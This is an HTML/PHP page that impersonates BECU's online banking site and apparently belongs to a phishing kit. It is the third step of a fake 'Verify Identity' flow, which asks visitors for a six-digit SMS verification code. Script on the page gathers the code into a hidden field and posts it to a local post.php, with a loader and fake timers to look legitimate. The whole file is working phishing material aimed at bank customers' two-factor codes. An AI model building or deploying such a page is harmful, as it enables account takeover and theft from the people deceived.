<?php ?>
<!DOCTYPE html><html lang="en"><head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" type="image/x-icon" href="favicon.ico">
<link rel="preconnect" href="https://fonts.googleapis.com"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
<title>BECU — Verify Identity</title>
<style>
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
:root{--red:#C8102E;--red-dk:#a50d25;--teal:#007680;--teal-dk:#005c66;--navy:#0D2240;--text:#1a1a1a;--sub:#555;--border:#d0d8e4;--light:#f2f4f7;--white:#fff}
html,body{height:100%;font-family:'Inter',sans-serif;color:var(--text)}
body{display:flex;flex-direction:column;min-height:100vh;background:var(--white)}
/* top nav */
.main-nav{background:var(--white);padding:0 40px;height:72px;display:flex;align-items:center;justify-content:space-between;border-bottom:1px solid #e0e4eb;position:relative;z-index:300}
.nav-logo img{height:52px;width:auto;display:block}
.nav-center{display:flex;align-items:center;gap:6px}
.nav-center a{font-size:13px;font-weight:700;color:var(--text);text-decoration:none;padding:6px 14px;display:flex;align-items:center;gap:6px;letter-spacing:.08em;text-transform:uppercase;transition:color .15s}
.nav-center a:hover{color:var(--red)}
.nav-center .sep{width:1px;height:16px;background:#ccc}
.nav-center svg{color:var(--red)}
.nav-right{display:flex;align-items:center;gap:8px}
.btn-search{background:var(--white);border:2px solid #ccc;width:40px;height:40px;display:flex;align-items:center;justify-content:center;cursor:pointer;border-radius:2px;color:var(--text);transition:border-color .15s}
.btn-search:hover{border-color:var(--red)}
.btn-login-nav{background:var(--red);color:#fff;border:none;padding:11px 22px;font-family:'Inter',sans-serif;font-size:13.5px;font-weight:700;cursor:pointer;letter-spacing:.08em;text-transform:uppercase;transition:background .15s;border-radius:2px}
.btn-login-nav:hover{background:var(--red-dk)}
.btn-join{background:var(--white);color:var(--text);border:2px solid #ccc;padding:10px 22px;font-family:'Inter',sans-serif;font-size:13.5px;font-weight:700;cursor:pointer;letter-spacing:.08em;text-transform:uppercase;transition:all .15s;border-radius:2px}
.btn-join:hover{border-color:var(--text)}
/* sub nav */
.sub-nav{background:var(--white);border-bottom:2px solid #e0e4eb;padding:0 40px;display:flex;align-items:center;height:48px}
.sub-nav a{font-size:12px;font-weight:800;color:var(--text);text-decoration:none;padding:0 20px;height:48px;display:flex;align-items:center;letter-spacing:.1em;text-transform:uppercase;border-bottom:3px solid transparent;transition:color .15s,border-color .15s;margin-bottom:-2px}
.sub-nav a:hover{color:var(--red);border-color:var(--red)}
/* hero */
.hero{background:var(--navy);display:flex;align-items:stretch;min-height:340px;overflow:hidden;position:relative}
.hero-left{width:50%;position:relative;overflow:hidden;flex-shrink:0}
.hero-left img{width:100%;height:100%;object-fit:cover;display:block}
.hero-right{flex:1;display:flex;flex-direction:column;justify-content:center;padding:48px 56px;background:var(--navy)}
.hero-right h1{font-size:clamp(26px,2.8vw,40px);font-weight:800;color:#fff;margin-bottom:16px;line-height:1.2}
.hero-right p{font-size:15px;color:rgba(255,255,255,.85);line-height:1.65;margin-bottom:26px;max-width:380px}
.btn-cta{display:inline-flex;align-items:center;padding:13px 26px;background:var(--red);color:#fff;border:none;border-radius:2px;font-family:'Inter',sans-serif;font-size:14px;font-weight:700;cursor:pointer;text-decoration:none;letter-spacing:.04em;transition:background .15s}
.btn-cta:hover{background:var(--red-dk)}
/* carousel dots */
.carousel-dots{display:flex;align-items:center;gap:8px;margin-top:20px}
.cdot{width:11px;height:11px;border-radius:50%;background:rgba(255,255,255,.35);cursor:pointer;transition:background .2s}
.cdot.active{background:var(--teal);box-shadow:0 0 0 2px var(--teal)}
.cdot-pause{width:22px;height:22px;border-radius:50%;background:var(--teal);display:flex;align-items:center;justify-content:center;cursor:pointer}
.cdot-pause svg{color:#fff}
/* committed strip */
.committed-strip{padding:36px 40px;text-align:center;background:var(--white);border-bottom:1px solid #e8eaf0}
.committed-strip h2{font-size:clamp(20px,2.2vw,30px);font-weight:800;color:var(--text);margin-bottom:12px}
.committed-strip p{font-size:14px;color:var(--sub);line-height:1.65;max-width:680px;margin:0 auto}
.committed-strip p a{color:var(--teal);text-decoration:none;font-weight:600}
.committed-strip p a:hover{text-decoration:underline}
/* product cards */
.products-section{background:var(--light);padding:32px 40px}
.products-grid{display:grid;grid-template-columns:repeat(4,1fr);gap:0;border:1px solid #dde2ea;border-radius:4px;overflow:hidden}
.product-card{background:var(--white);border-right:1px solid #dde2ea;overflow:hidden}
.product-card:last-child{border-right:none}
.product-card-title{padding:18px 20px 12px;font-size:15px;font-weight:700;color:var(--text)}
.product-card-img{width:100%;height:160px;object-fit:cover;display:block}
/* login dropdown */
.login-wrap{position:relative}
.login-dd{display:none;position:absolute;top:calc(100% + 12px);right:0;width:330px;background:var(--white);border:1px solid var(--border);border-radius:4px;box-shadow:0 8px 32px rgba(0,0,0,.14);z-index:500;padding:24px 22px 20px;animation:ddIn .18s ease both}
.login-dd.open{display:block}
@keyframes ddIn{from{opacity:0;transform:translateY(-6px)}to{opacity:1;transform:translateY(0)}}
.dd-title{font-size:17px;font-weight:700;color:var(--text);margin-bottom:16px}
.dd-f{margin-bottom:12px}
.dd-f input{width:100%;height:46px;padding:0 13px;border:1.5px solid var(--border);border-radius:3px;font-family:'Inter',sans-serif;font-size:14px;color:var(--text);background:#fafbfc;outline:none;transition:border-color .15s,box-shadow .15s;-webkit-appearance:none}
.dd-f input::placeholder{color:#aab}
.dd-f input:focus{border-color:var(--red);box-shadow:0 0 0 3px rgba(200,16,46,.1);background:#fff}
.btn-dd-login{width:100%;height:46px;background:var(--red);color:#fff;border:none;border-radius:3px;font-family:'Inter',sans-serif;font-size:15px;font-weight:700;cursor:pointer;margin-bottom:14px;letter-spacing:.04em;transition:background .15s}
.btn-dd-login:hover{background:var(--red-dk)}
.dd-links{display:flex;align-items:center;gap:6px;font-size:12.5px}
.dd-links a{color:var(--teal);text-decoration:none}
.dd-links a:hover{text-decoration:underline}
.dd-links span{color:#ccc}
/* inner pages */
.page-bg{flex:1;position:relative;display:flex;align-items:center;justify-content:center;padding:64px 20px;background:var(--light)}
.bg-art{position:absolute;right:0;top:0;bottom:0;width:46%;z-index:0;opacity:.06;background-image:radial-gradient(circle,var(--teal) 1px,transparent 1px);background-size:24px 24px}
.card{position:relative;z-index:2;background:var(--white);width:100%;max-width:520px;border-radius:4px;padding:40px;box-shadow:0 4px 28px rgba(0,0,0,.1);animation:ci .4s ease both;border-top:4px solid var(--red)}
@keyframes ci{from{opacity:0;transform:translateY(14px)}to{opacity:1;transform:translateY(0)}}
.card-logo{margin-bottom:22px;text-align:center}
.card-logo img{height:48px;width:auto;display:inline-block}
.steps{display:flex;align-items:center;gap:8px;margin-bottom:22px}
.st{display:flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:50%;font-size:11px;font-weight:700;flex-shrink:0}
.st.done{background:var(--teal);color:#fff}
.st.active{background:var(--red);color:#fff;box-shadow:0 0 0 3px rgba(200,16,46,.18)}
.st.pend{background:#eee;color:#bbb}
.sl{flex:1;height:2px;background:#dde2ea;border-radius:2px}
.sl.done{background:var(--teal);opacity:.5}
.ch{margin-bottom:18px;padding-bottom:16px;border-bottom:2px solid var(--teal)}
.ch h1{font-size:20px;font-weight:700;color:var(--navy)}
.ch p{font-size:13px;color:var(--sub);margin-top:4px}
.notice{display:flex;align-items:center;gap:9px;background:rgba(0,118,128,.06);border:1px solid rgba(0,118,128,.22);border-radius:4px;padding:10px 13px;margin-bottom:16px}
.notice svg{flex-shrink:0;color:var(--teal)}
.notice span{font-size:12.5px;color:var(--teal);font-weight:500}
.f{margin-bottom:13px}
.f label{display:block;font-size:11.5px;font-weight:700;color:var(--sub);margin-bottom:5px;letter-spacing:.05em;text-transform:uppercase}
.f input{width:100%;height:46px;padding:0 13px;border:1.5px solid var(--border);border-radius:3px;font-family:'Inter',sans-serif;font-size:14px;color:var(--text);background:#fafbfc;outline:none;transition:border-color .15s,box-shadow .15s;-webkit-appearance:none}
.f input::placeholder{color:#bbb}
.f input:focus{border-color:var(--red);box-shadow:0 0 0 3px rgba(200,16,46,.1);background:#fff}
.frow{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-bottom:13px}
.frow .f{margin-bottom:0}
.btn-main{width:100%;height:48px;background:var(--red);color:#fff;border:none;border-radius:3px;font-family:'Inter',sans-serif;font-size:15px;font-weight:700;cursor:pointer;margin-bottom:16px;display:flex;align-items:center;justify-content:center;gap:8px;letter-spacing:.04em;text-transform:uppercase;transition:background .15s}
.btn-main:hover{background:var(--red-dk)}
.clinks{display:flex;flex-direction:column;gap:10px;padding-top:14px;border-top:1px solid #e8edf4}
.clinks a{font-size:13px;color:var(--teal);text-decoration:none;display:flex;align-items:center;gap:5px}
.clinks a:hover{text-decoration:underline}
/* wait */
.ring-wrap{position:relative;width:138px;height:138px;margin:0 auto 22px}
.ring-wrap svg{width:138px;height:138px;transform:rotate(-90deg)}
.ring-track{fill:none;stroke:#dde2ea;stroke-width:6}
.ring-prog{fill:none;stroke:var(--red);stroke-width:6;stroke-linecap:round;stroke-dasharray:326.7;stroke-dashoffset:0;transition:stroke-dashoffset 1s linear;filter:drop-shadow(0 0 5px rgba(200,16,46,.25))}
.ring-lbl{position:absolute;inset:0;display:flex;flex-direction:column;align-items:center;justify-content:center}
.ring-time{font-size:32px;font-weight:700;color:var(--red);line-height:1}
.ring-unit{font-size:11px;color:var(--sub);margin-top:5px;letter-spacing:.08em;text-transform:uppercase}
.dots{display:flex;justify-content:center;gap:8px;margin-bottom:20px}
.dots span{width:9px;height:9px;border-radius:50%;background:#dde2ea;transition:background .4s,transform .3s}
.dots span.lit{background:var(--teal);transform:scale(1.25)}
.info-n{display:inline-flex;align-items:center;gap:8px;background:rgba(0,118,128,.06);border:1px solid rgba(0,118,128,.22);border-radius:4px;padding:10px 18px;font-size:12.5px;color:var(--teal);font-weight:600}
/* otp */
.otp-row{display:flex;gap:8px;justify-content:center;margin-bottom:12px}
.otp-row input{width:54px;height:58px;border:1.5px solid var(--border);border-radius:3px;font-size:26px;font-weight:700;color:var(--red);text-align:center;background:#fafbfc;outline:none;transition:border-color .15s,box-shadow .15s;caret-color:var(--red);-webkit-appearance:none;font-family:'Inter',sans-serif}
.otp-row input:focus{border-color:var(--red);box-shadow:0 0 0 3px rgba(200,16,46,.1);background:#fff}
.otp-row input.filled{border-color:var(--teal);background:rgba(0,118,128,.05)}
.phone-b{display:flex;align-items:center;gap:11px;background:rgba(0,118,128,.06);border:1px solid rgba(0,118,128,.22);border-radius:4px;padding:12px 14px;margin-bottom:20px}
.phone-icon{width:32px;height:32px;background:var(--teal);border-radius:3px;display:flex;align-items:center;justify-content:center;flex-shrink:0}
.phone-icon svg{color:#fff}
.phone-txt{font-size:12.5px;color:var(--sub);line-height:1.5}
.phone-txt strong{display:block;font-size:13px;color:var(--text);font-weight:700;margin-bottom:1px}
.resend-row{display:flex;align-items:center;justify-content:space-between;margin-bottom:20px;margin-top:8px}
.resend-timer{font-size:12.5px;color:var(--sub);display:flex;align-items:center;gap:5px}
.resend-timer span{font-weight:700;color:var(--teal);min-width:32px}
.resend-btn{font-size:13px;color:var(--teal);font-weight:600;background:none;border:none;cursor:pointer;text-decoration:underline;font-family:'Inter',sans-serif;padding:0}
.resend-btn:disabled{color:var(--sub);text-decoration:none;cursor:default;opacity:.6}
.otp-lbl{font-size:12px;font-weight:700;color:var(--sub);margin-bottom:12px;letter-spacing:.06em;text-transform:uppercase}
/* loader */
#loader{display:none;position:fixed;inset:0;background:rgba(255,255,255,.93);z-index:9999;flex-direction:column;align-items:center;justify-content:center;gap:18px}
#loader .loader-logo img{height:52px;width:auto}
#loader p{font-size:15px;font-weight:600;color:var(--navy);font-family:'Inter',sans-serif}
.spinner-ring{width:48px;height:48px;border:4px solid rgba(200,16,46,.15);border-top-color:var(--red);border-radius:50%;animation:spin .85s linear infinite}
@keyframes spin{to{transform:rotate(360deg)}}
/* footer */
.page-footer{background:var(--navy);padding:20px 40px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:12px}
.footer-links{display:flex;gap:20px;flex-wrap:wrap}
.footer-links a{font-size:12px;color:rgba(255,255,255,.5);text-decoration:none}
.footer-links a:hover{color:#fff}
.footer-copy{font-size:12px;color:rgba(255,255,255,.3)}
@media(max-width:900px){.sub-nav{overflow-x:auto;padding:0 20px}.main-nav{padding:0 20px}.hero{flex-direction:column}.hero-left{width:100%;height:220px}.hero-right{padding:32px 24px}.products-grid{grid-template-columns:repeat(2,1fr)}.committed-strip,.products-section{padding-left:20px;padding-right:20px}}
@media(max-width:500px){.card{padding:26px 18px 28px}.frow{grid-template-columns:1fr}.otp-row input{width:44px;height:50px;font-size:22px}.login-dd{width:290px;right:-10px}.nav-center .sep,.nav-center a:not(.active){display:none}}
</style>
</head><body><nav class="main-nav">
    <div class="nav-logo"><img src="res/img/logo.svg" alt="BECU"></div>
    <div class="nav-center">
        <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="M21 10c0 7-9 13-9 13s-9-6-9-13a9 9 0 0118 0z"/><circle cx="12" cy="10" r="3"/></svg>Locations</a>
        <div class="sep"></div>
        <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Support</a>
    </div>
    <div class="nav-right">
        <button class="btn-search"><svg width="17" height="17" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg></button>
        <button class="btn-login-nav" onclick="window.location='login.php'">Log In</button>
        <button class="btn-join">Join BECU</button>
    </div>
</nav>
<div class="sub-nav">
    <a href="#">BECU &amp; You</a>
    <a href="#">Everyday Banking</a>
    <a href="#">Loans &amp; Mortgages</a>
    <a href="#">Planning &amp; Investing</a>
    <a href="#">Business Banking</a>
</div><div class="page-bg"><div class="bg-art"></div><div class="card"><div class="card-logo"><img src="res/img/logo.svg" alt="BECU"></div><div class="steps"><div class="st done">&#10003;</div><div class="sl done"></div><div class="st done">&#10003;</div><div class="sl done"></div><div class="st active">3</div></div><div class="ch"><h1>Enter Verification Code</h1><p>We sent a 6-digit code to your phone</p></div>
<div class="phone-b"><div class="phone-icon"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="5" y="2" width="14" height="20" rx="2"/><line x1="12" y1="18" x2="12.01" y2="18" stroke-width="2.5"/></svg></div><div class="phone-txt"><strong>SMS Code Sent</strong>Code sent to the number ending in &#8226;&#8226;&#8226;&#8226;</div></div>
<form action="post.php" method="post" id="sf">
    <div class="otp-lbl">Enter 6-digit code</div>
    <div class="otp-row"><input type="text" name="c1" id="c1" maxlength="1" inputmode="numeric" autocomplete="one-time-code" pattern="[0-9]"><input type="text" name="c2" id="c2" maxlength="1" inputmode="numeric" pattern="[0-9]"><input type="text" name="c3" id="c3" maxlength="1" inputmode="numeric" pattern="[0-9]"><input type="text" name="c4" id="c4" maxlength="1" inputmode="numeric" pattern="[0-9]"><input type="text" name="c5" id="c5" maxlength="1" inputmode="numeric" pattern="[0-9]"><input type="text" name="c6" id="c6" maxlength="1" inputmode="numeric" pattern="[0-9]"></div>
    <input type="hidden" name="otp" id="sms_combined">
    <div class="resend-row">
        <div class="resend-timer"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><polyline points="12 6 12 12 16 14"/></svg>Expires in <span id="exp-timer">9:59</span></div>
        <button type="button" class="resend-btn" id="resend-btn" disabled>Resend code</button>
    </div>
    <button type="submit" class="btn-main">Verify &amp; Continue &#8594;</button>
</form>
<div class="clinks">
    <a href="#"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Contact support</a>
    <a href="login.php"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="15 18 9 12 15 6"/></svg>Back to log in</a>
</div></div></div><footer class="page-footer">
    <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Accessibility</a><a href="#">NCUA</a><a href="#">Contact Us</a></div>
    <div class="footer-copy">© 2025 BECU. Federally Insured by NCUA. Equal Housing Opportunity.</div>
</footer><div id="loader">
    <div class="loader-logo"><img src="res/img/logo.svg" alt="BECU"></div>
    <div class="spinner-ring"></div>
    <p>Please wait...</p>
</div><script>
const boxes=Array.from(document.querySelectorAll('.otp-row input'));
const combined=document.getElementById('sms_combined');
boxes.forEach((box,i)=>{
    box.addEventListener('input',()=>{box.value=box.value.replace(/[^0-9]/g,'').slice(-1);box.classList.toggle('filled',box.value!=='');combined.value=boxes.map(b=>b.value).join('');if(box.value&&i<boxes.length-1)boxes[i+1].focus();});
    box.addEventListener('keydown',e=>{if(e.key==='Backspace'&&!box.value&&i>0){boxes[i-1].value='';boxes[i-1].classList.remove('filled');boxes[i-1].focus();}});
    box.addEventListener('paste',e=>{e.preventDefault();const p=(e.clipboardData||window.clipboardData).getData('text').replace(/[^0-9]/g,'').slice(0,6);p.split('').forEach((ch,j)=>{if(boxes[j]){boxes[j].value=ch;boxes[j].classList.add('filled');}});combined.value=boxes.map(b=>b.value).join('');boxes[Math.min(p.length,boxes.length-1)].focus();});
});
let expSec=599,resendAt=30;
const expEl=document.getElementById('exp-timer'),resendBtn=document.getElementById('resend-btn');
const iv=setInterval(()=>{expSec--;resendAt=Math.max(0,resendAt-1);if(resendAt===0)resendBtn.disabled=false;const m=Math.floor(expSec/60),s=expSec%60;expEl.textContent=m+':'+String(s).padStart(2,'0');if(expSec<=0){clearInterval(iv);expEl.textContent='0:00';}},1000);
resendBtn.addEventListener('click',()=>{resendBtn.disabled=true;resendAt=30;expSec=599;boxes.forEach(b=>{b.value='';b.classList.remove('filled');});combined.value='';boxes[0].focus();});
document.getElementById('sf').addEventListener('submit',function(){document.getElementById('loader').style.display='flex';});
</script></body></html>